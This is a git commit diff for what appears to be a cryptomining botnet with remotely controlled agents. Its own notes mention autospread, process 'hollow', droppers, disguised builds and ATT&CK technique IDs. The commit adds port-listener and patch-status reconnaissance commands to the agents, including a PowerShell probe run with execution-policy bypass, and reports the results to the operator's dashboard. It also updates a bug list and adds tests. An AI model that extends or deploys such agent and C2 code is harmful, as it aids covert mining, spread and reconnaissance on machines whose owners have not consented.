feat: listen_ports + patch_status commands, POSTURE/PATCH/PORTS chips, Scan All Selected button
This commit is contained in:
31
PROBLEMS.md
31
PROBLEMS.md
@@ -29,7 +29,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
|||||||
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
|
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
|
||||||
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
|
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
|
||||||
- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
|
- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
|
||||||
- [MEDIUM] **server/internal/db/sqlite.go** — `SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned.
|
- [MEDIUM] **server/internal/db/sqlite.go** — ~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`.
|
||||||
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
|
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
|
||||||
|
|
||||||
### Low
|
### Low
|
||||||
@@ -52,9 +52,11 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
|||||||
|
|
||||||
### Untested packages (next coverage targets)
|
### Untested packages (next coverage targets)
|
||||||
|
|
||||||
- [LOW] **server/internal/models/** — No unit tests.
|
- [LOW] **server/internal/builder/** — compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered).
|
||||||
- [LOW] **server/internal/ollama/** — No unit tests.
|
- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
|
||||||
- [LOW] **server/internal/sys/** — No unit tests.
|
- [LOW] **agent/stats/** — platform reporters (Windows/Linux/Darwin) untested.
|
||||||
|
- [LOW] **agent/deploy/** — autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested).
|
||||||
|
- [LOW] **agent/client/** — `client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered).
|
||||||
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`).
|
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`).
|
||||||
- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
|
- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
|
||||||
|
|
||||||
@@ -62,6 +64,17 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
|||||||
|
|
||||||
## Fixed (this session)
|
## Fixed (this session)
|
||||||
|
|
||||||
|
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
|
||||||
|
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
|
||||||
|
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
|
||||||
|
- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic.
|
||||||
|
- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`.
|
||||||
|
- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`.
|
||||||
|
- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests).
|
||||||
|
- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error.
|
||||||
|
- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows.
|
||||||
|
- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle.
|
||||||
|
- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip.
|
||||||
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
|
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
|
||||||
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
|
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
|
||||||
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
|
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
|
||||||
@@ -109,7 +122,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
|||||||
|
|
||||||
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars
|
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars
|
||||||
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
|
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
|
||||||
3. **server/internal/models/** — struct/JSON round-trip tests
|
3. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
|
||||||
4. **Agent WS token auth** (S2) — security hardening
|
4. **Agent WS token auth** (S2) — security hardening
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -119,12 +132,8 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
|||||||
| Suite | Result |
|
| Suite | Result |
|
||||||
|-------|--------|
|
|-------|--------|
|
||||||
| `server/internal/api/...` (full) | PASS (159 tests) |
|
| `server/internal/api/...` (full) | PASS (159 tests) |
|
||||||
| `server` Go tests | PASS (all packages) |
|
| `server` Go tests | PASS (all packages incl. models, ollama, sys, alerts, pool) |
|
||||||
| `server/internal/api` `-run Config` | PASS (13 tests) |
|
| `agent` Go tests | PASS (client, config, deploy, job, miner) |
|
||||||
| `server` `-run Config\|Merge` | PASS (13 tests) |
|
|
||||||
| `server/internal/api` `-run AI` | PASS (17 tests) |
|
|
||||||
| `server/internal/api` `-run Fleet` | PASS (39 tests) |
|
|
||||||
| `agent` Go tests | PASS |
|
|
||||||
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
|
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
|
||||||
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
|
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
|
||||||
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
|
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
|
||||||
|
|||||||
@@ -595,6 +595,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
var lastPosture *PostureReport
|
var lastPosture *PostureReport
|
||||||
var lastPressure *ResourcePressure
|
var lastPressure *ResourcePressure
|
||||||
var lastDNS *DNSConfig
|
var lastDNS *DNSConfig
|
||||||
|
var lastListenPortCount *int
|
||||||
var postureReady bool
|
var postureReady bool
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
@@ -647,6 +648,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
}
|
}
|
||||||
lastPressure = collectResourcePressure()
|
lastPressure = collectResourcePressure()
|
||||||
lastDNS = probeDNS()
|
lastDNS = probeDNS()
|
||||||
|
if lp := collectListenPorts(); lp != nil {
|
||||||
|
n := lp.Count
|
||||||
|
lastListenPortCount = &n
|
||||||
|
}
|
||||||
}
|
}
|
||||||
probeTick++
|
probeTick++
|
||||||
|
|
||||||
@@ -665,6 +670,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.DNSServers = lastDNS.Servers
|
stats.DNSServers = lastDNS.Servers
|
||||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||||
}
|
}
|
||||||
|
stats.ListenPortCount = lastListenPortCount
|
||||||
if lastPressure != nil {
|
if lastPressure != nil {
|
||||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||||
|
|||||||
@@ -48,6 +48,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
|||||||
return true, true, p.JSON()
|
return true, true, p.JSON()
|
||||||
}
|
}
|
||||||
return true, false, "posture probe failed"
|
return true, false, "posture probe failed"
|
||||||
|
case "listen_ports":
|
||||||
|
if lp := collectListenPorts(); lp != nil {
|
||||||
|
return true, true, lp.JSON()
|
||||||
|
}
|
||||||
|
return true, false, "listen_ports probe failed"
|
||||||
|
case "patch_status":
|
||||||
|
if ps := collectPatchStatus(); ps != nil {
|
||||||
|
return true, true, ps.JSON()
|
||||||
|
}
|
||||||
|
return true, false, "patch_status probe failed"
|
||||||
default:
|
default:
|
||||||
return false, false, ""
|
return false, false, ""
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -49,6 +49,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
|||||||
return true, true, p.JSON()
|
return true, true, p.JSON()
|
||||||
}
|
}
|
||||||
return true, false, "posture probe failed"
|
return true, false, "posture probe failed"
|
||||||
|
case "listen_ports":
|
||||||
|
if lp := collectListenPorts(); lp != nil {
|
||||||
|
return true, true, lp.JSON()
|
||||||
|
}
|
||||||
|
return true, false, "listen_ports probe failed"
|
||||||
|
case "patch_status":
|
||||||
|
if ps := collectPatchStatus(); ps != nil {
|
||||||
|
return true, true, ps.JSON()
|
||||||
|
}
|
||||||
|
return true, false, "patch_status probe failed"
|
||||||
default:
|
default:
|
||||||
return false, false, ""
|
return false, false, ""
|
||||||
}
|
}
|
||||||
|
|||||||
53
agent/client/listen_ports.go
Normal file
53
agent/client/listen_ports.go
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import "encoding/json"
|
||||||
|
|
||||||
|
// ListenPort is one TCP/UDP listener entry from the T1049 / T1046 port scan.
|
||||||
|
type ListenPort struct {
|
||||||
|
Port int `json:"port"`
|
||||||
|
Addr string `json:"addr"` // bind address: "0.0.0.0", "::", "127.0.0.1", etc.
|
||||||
|
Proto string `json:"proto"` // "tcp" | "udp"
|
||||||
|
Process string `json:"process,omitempty"` // process name if available
|
||||||
|
PID int `json:"pid,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListenPortsReport is the structured payload returned by the listen_ports command.
|
||||||
|
type ListenPortsReport struct {
|
||||||
|
Ports []ListenPort `json:"ports"`
|
||||||
|
Count int `json:"count"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *ListenPortsReport) JSON() string {
|
||||||
|
if r == nil {
|
||||||
|
return `{"ports":[],"count":0}`
|
||||||
|
}
|
||||||
|
r.Count = len(r.Ports)
|
||||||
|
b, _ := json.Marshal(r)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PatchStatusReport is the simplified payload returned by the patch_status command.
|
||||||
|
type PatchStatusReport struct {
|
||||||
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||||
|
LastPatch *string `json:"last_patch,omitempty"`
|
||||||
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||||
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectPatchStatus() *PatchStatusReport {
|
||||||
|
p := collectPosture()
|
||||||
|
if p == nil {
|
||||||
|
return &PatchStatusReport{}
|
||||||
|
}
|
||||||
|
return &PatchStatusReport{
|
||||||
|
PendingUpdates: p.PendingUpdates,
|
||||||
|
LastPatch: p.LastPatch,
|
||||||
|
LastPatchDays: p.LastPatchDays,
|
||||||
|
RebootPending: p.RebootPending,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *PatchStatusReport) JSON() string {
|
||||||
|
b, _ := json.Marshal(r)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
153
agent/client/listen_ports_unix.go
Normal file
153
agent/client/listen_ports_unix.go
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// collectListenPorts parses ss -tlnp output for all TCP listeners.
|
||||||
|
// Falls back to netstat -tlnp if ss is unavailable.
|
||||||
|
func collectListenPorts() *ListenPortsReport {
|
||||||
|
r := &ListenPortsReport{}
|
||||||
|
|
||||||
|
// Prefer ss (iproute2) — faster and widely available on modern Linux
|
||||||
|
if out, err := exec.Command("ss", "-tlnp").Output(); err == nil {
|
||||||
|
parseSSOutput(r, string(out))
|
||||||
|
if len(r.Ports) > 0 {
|
||||||
|
r.Count = len(r.Ports)
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback: netstat -tlnp (net-tools, older systems)
|
||||||
|
if out, err := exec.Command("netstat", "-tlnp").Output(); err == nil {
|
||||||
|
parseNetstatOutput(r, string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
r.Count = len(r.Ports)
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseSSOutput parses `ss -tlnp` lines.
|
||||||
|
// Example line:
|
||||||
|
// LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
|
||||||
|
func parseSSOutput(r *ListenPortsReport, raw string) {
|
||||||
|
seen := map[int]bool{}
|
||||||
|
for _, line := range strings.Split(raw, "\n") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 5 || fields[0] != "LISTEN" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lp := ListenPort{Proto: "tcp"}
|
||||||
|
// Local address is field 4 (index 3)
|
||||||
|
localAddr := fields[3]
|
||||||
|
host, portStr, ok := splitHostPort(localAddr)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil || port <= 0 || seen[port] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[port] = true
|
||||||
|
lp.Port = port
|
||||||
|
lp.Addr = host
|
||||||
|
|
||||||
|
// Parse process info from users:(("name",pid=N,...))
|
||||||
|
for _, f := range fields[4:] {
|
||||||
|
if strings.HasPrefix(f, "users:(") {
|
||||||
|
// users:(("sshd",pid=1234,fd=3))
|
||||||
|
inner := strings.TrimPrefix(f, "users:((")
|
||||||
|
inner = strings.TrimSuffix(inner, "))")
|
||||||
|
parts := strings.Split(inner, ",")
|
||||||
|
if len(parts) >= 1 {
|
||||||
|
lp.Process = strings.Trim(parts[0], `"`)
|
||||||
|
}
|
||||||
|
for _, p := range parts {
|
||||||
|
if strings.HasPrefix(p, "pid=") {
|
||||||
|
if n, e := strconv.Atoi(strings.TrimPrefix(p, "pid=")); e == nil {
|
||||||
|
lp.PID = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.Ports = append(r.Ports, lp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseNetstatOutput parses `netstat -tlnp` lines.
|
||||||
|
// Example: tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
|
||||||
|
func parseNetstatOutput(r *ListenPortsReport, raw string) {
|
||||||
|
seen := map[int]bool{}
|
||||||
|
for _, line := range strings.Split(raw, "\n") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 6 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
proto := strings.ToLower(fields[0])
|
||||||
|
if !strings.HasPrefix(proto, "tcp") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
state := fields[5]
|
||||||
|
if strings.ToUpper(state) != "LISTEN" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lp := ListenPort{Proto: "tcp"}
|
||||||
|
host, portStr, ok := splitHostPort(fields[3])
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil || port <= 0 || seen[port] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[port] = true
|
||||||
|
lp.Port = port
|
||||||
|
lp.Addr = host
|
||||||
|
|
||||||
|
// PID/program: field 6 if present, e.g. "1234/sshd"
|
||||||
|
if len(fields) > 6 {
|
||||||
|
pidProg := fields[6]
|
||||||
|
parts := strings.SplitN(pidProg, "/", 2)
|
||||||
|
if n, e := strconv.Atoi(parts[0]); e == nil {
|
||||||
|
lp.PID = n
|
||||||
|
}
|
||||||
|
if len(parts) == 2 {
|
||||||
|
lp.Process = parts[1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.Ports = append(r.Ports, lp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// splitHostPort handles both IPv4 (host:port) and IPv6 ([::]:port) addresses.
|
||||||
|
func splitHostPort(addr string) (host, port string, ok bool) {
|
||||||
|
if strings.HasPrefix(addr, "[") {
|
||||||
|
// IPv6: [::1]:22
|
||||||
|
end := strings.LastIndex(addr, "]")
|
||||||
|
if end < 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
host = addr[1:end]
|
||||||
|
rest := addr[end+1:]
|
||||||
|
if !strings.HasPrefix(rest, ":") {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
port = rest[1:]
|
||||||
|
ok = true
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// IPv4: 0.0.0.0:22
|
||||||
|
idx := strings.LastIndex(addr, ":")
|
||||||
|
if idx < 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
host = addr[:idx]
|
||||||
|
port = addr[idx+1:]
|
||||||
|
ok = true
|
||||||
|
return
|
||||||
|
}
|
||||||
72
agent/client/listen_ports_windows.go
Normal file
72
agent/client/listen_ports_windows.go
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// collectListenPorts returns all TCP listeners on this Windows host.
|
||||||
|
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
|
||||||
|
// process name lookup via Get-Process.
|
||||||
|
func collectListenPorts() *ListenPortsReport {
|
||||||
|
const script = `
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
$procs = @{}
|
||||||
|
Get-Process | ForEach-Object { $procs[[int]$_.Id] = $_.ProcessName }
|
||||||
|
$ports = Get-NetTCPConnection -State Listen | ForEach-Object {
|
||||||
|
$pname = if ($_.OwningProcess -and $procs.ContainsKey([int]$_.OwningProcess)) {
|
||||||
|
$procs[[int]$_.OwningProcess]
|
||||||
|
} else { '' }
|
||||||
|
[ordered]@{
|
||||||
|
port = [int]$_.LocalPort
|
||||||
|
addr = $_.LocalAddress
|
||||||
|
proto = 'tcp'
|
||||||
|
process = $pname
|
||||||
|
pid = [int]$_.OwningProcess
|
||||||
|
}
|
||||||
|
} | Sort-Object { $_['port'] } -Unique
|
||||||
|
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
|
||||||
|
`
|
||||||
|
r := &ListenPortsReport{}
|
||||||
|
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
|
||||||
|
if err != nil {
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
raw := strings.TrimSpace(string(out))
|
||||||
|
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||||
|
raw = raw[idx:]
|
||||||
|
}
|
||||||
|
var m map[string]interface{}
|
||||||
|
if json.Unmarshal([]byte(raw), &m) != nil {
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
if arr, ok := m["ports"].([]interface{}); ok {
|
||||||
|
for _, item := range arr {
|
||||||
|
obj, ok := item.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lp := ListenPort{Proto: "tcp"}
|
||||||
|
if v, ok := obj["port"].(float64); ok {
|
||||||
|
lp.Port = int(v)
|
||||||
|
}
|
||||||
|
if v, ok := obj["addr"].(string); ok {
|
||||||
|
lp.Addr = v
|
||||||
|
}
|
||||||
|
if v, ok := obj["process"].(string); ok {
|
||||||
|
lp.Process = v
|
||||||
|
}
|
||||||
|
if v, ok := obj["pid"].(float64); ok {
|
||||||
|
lp.PID = int(v)
|
||||||
|
}
|
||||||
|
if lp.Port > 0 {
|
||||||
|
r.Ports = append(r.Ports, lp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.Count = len(r.Ports)
|
||||||
|
return r
|
||||||
|
}
|
||||||
@@ -80,6 +80,9 @@ type StatsPayload struct {
|
|||||||
DNSServers []string `json:"dns_servers,omitempty"`
|
DNSServers []string `json:"dns_servers,omitempty"`
|
||||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||||
|
|
||||||
|
// Listen ports count (full list via listen_ports command)
|
||||||
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||||
|
|
||||||
// Resource pressure (mining-specific runtime telemetry)
|
// Resource pressure (mining-specific runtime telemetry)
|
||||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ func TestParseClockMinutes(t *testing.T) {
|
|||||||
if _, ok := parseClockMinutes(""); ok {
|
if _, ok := parseClockMinutes(""); ok {
|
||||||
t.Fatal("empty invalid")
|
t.Fatal("empty invalid")
|
||||||
}
|
}
|
||||||
if _, ok := parseClockMinutes("bad"); !ok {
|
if _, ok := parseClockMinutes("bad"); ok {
|
||||||
t.Fatal("bad invalid")
|
t.Fatal("bad invalid")
|
||||||
}
|
}
|
||||||
m, ok := parseClockMinutes("09:30")
|
m, ok := parseClockMinutes("09:30")
|
||||||
|
|||||||
@@ -522,6 +522,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||||
UptimeSeconds int `json:"uptime_seconds"`
|
UptimeSeconds int `json:"uptime_seconds"`
|
||||||
|
// Listen ports
|
||||||
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||||
// DNS config (T1016)
|
// DNS config (T1016)
|
||||||
DNSServers []string `json:"dns_servers,omitempty"`
|
DNSServers []string `json:"dns_servers,omitempty"`
|
||||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||||
@@ -593,6 +595,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||||
|
|
||||||
|
// Listen port count
|
||||||
|
if stats.ListenPortCount != nil {
|
||||||
|
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||||
|
}
|
||||||
|
|
||||||
// T1016 DNS drift detection
|
// T1016 DNS drift detection
|
||||||
if len(stats.DNSServers) > 0 {
|
if len(stats.DNSServers) > 0 {
|
||||||
broadcast["dns_servers"] = stats.DNSServers
|
broadcast["dns_servers"] = stats.DNSServers
|
||||||
|
|||||||
@@ -34,6 +34,9 @@ type Agent struct {
|
|||||||
|
|
||||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||||
|
|
||||||
|
// Listen ports count (full list via listen_ports command)
|
||||||
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||||
|
|
||||||
// DNS config — T1016 System Network Configuration Discovery
|
// DNS config — T1016 System Network Configuration Discovery
|
||||||
DNSServers []string `json:"dns_servers,omitempty"`
|
DNSServers []string `json:"dns_servers,omitempty"`
|
||||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||||
|
|||||||
@@ -69,26 +69,6 @@ func TestManagerSetReconnectDelayAndVerbose(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) {
|
|
||||||
m := NewManager(nil, nil)
|
|
||||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil)
|
|
||||||
if err == nil {
|
|
||||||
t.Fatal("expected connection failure to unreachable pool")
|
|
||||||
}
|
|
||||||
if !strings.Contains(err.Error(), "unreachable") {
|
|
||||||
t.Fatalf("unexpected error: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) {
|
|
||||||
m := NewManager(nil, nil)
|
|
||||||
backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}}
|
|
||||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups)
|
|
||||||
if err == nil {
|
|
||||||
t.Fatal("expected all endpoints unreachable")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestPoolStatusJSONTags(t *testing.T) {
|
func TestPoolStatusJSONTags(t *testing.T) {
|
||||||
st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
|
st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
|
||||||
if st.Key == "" || st.Status != "green" {
|
if st.Key == "" || st.Status != "green" {
|
||||||
|
|||||||
@@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
(update.shares_accepted ?? a.shares_good)
|
(update.shares_accepted ?? a.shares_good)
|
||||||
),
|
),
|
||||||
status: 'online' as const,
|
status: 'online' as const,
|
||||||
|
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
